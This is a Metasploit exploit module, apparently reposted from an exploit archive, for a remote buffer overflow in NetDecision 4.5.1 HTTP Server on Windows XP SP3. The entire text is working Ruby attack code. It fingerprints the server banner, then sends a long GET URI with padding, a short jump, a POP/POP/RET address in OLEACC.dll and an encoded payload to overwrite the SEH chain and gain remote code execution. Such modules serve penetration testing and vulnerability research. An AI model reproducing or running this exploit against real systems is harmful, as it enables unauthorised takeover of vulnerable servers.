Netmechanica NetDecision HTTP Server 4.5.1 – Remote Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "NetDecision 4.5.1 HTTP Server Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability found in NetDecision's HTTP service (located in C:\Program Files\NetDecision\Bin\HttpSvr.exe). By supplying a long string of data to the URL, an overflow may occur if the data gets handled by HTTP Server's active window. In other words, in order to gain remote code execution, the victim is probably looking at HttpSvr's window. }, 'License' => MSF_LICENSE, 'Author' => [ 'Prabhu S Angadi', #Discovery, DoS PoC 'sinn3r' #Metasploit ], 'References' => [ ['OSVDB', '79651'], ['URL', 'http://secunia.com/advisories/48168/'], ['URL', 'http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt'] ], 'Payload' => { 'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x26\x27\x3f", 'StackAdjustment' => -3500, }, 'DefaultOptions' => { 'ExitFunction' => "seh", }, 'Platform' => 'win', 'Targets' => [ [ 'NetDecision 4.5.1 on XP SP3', { # POP/POP/RET - OLEACC.dll 'Ret' => 0x74C869E2, 'Offset' => 1620 } ], ], 'Privileged' => false, 'DisclosureDate' => "Feb 24 2012", 'DefaultTarget' => 0)) end def check res = send_request_cgi({'uri'=>'/'}) banner = res.headers['Server'] if banner =~ /NetDecision\-HTTP\-Server\/1\.0/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def exploit buf = "/" buf << rand_text_alpha(675, payload_badchars) buf << pattern_create(5) #Avoid TerminateProcess() buf << rand_text_alpha(target['Offset']-buf.length, payload_badchars) buf << "\xeb\x06" + rand_text_alpha(2, payload_badchars) buf << [target.ret].pack('V*') buf << payload.encoded buf << rand_text_alpha(8000-buf.length, payload_badchars) print_status("#{rhost}:#{rport} - Sending #{self.name}...") send_request_raw({ 'method' => 'GET', 'uri' => buf }) handler end end |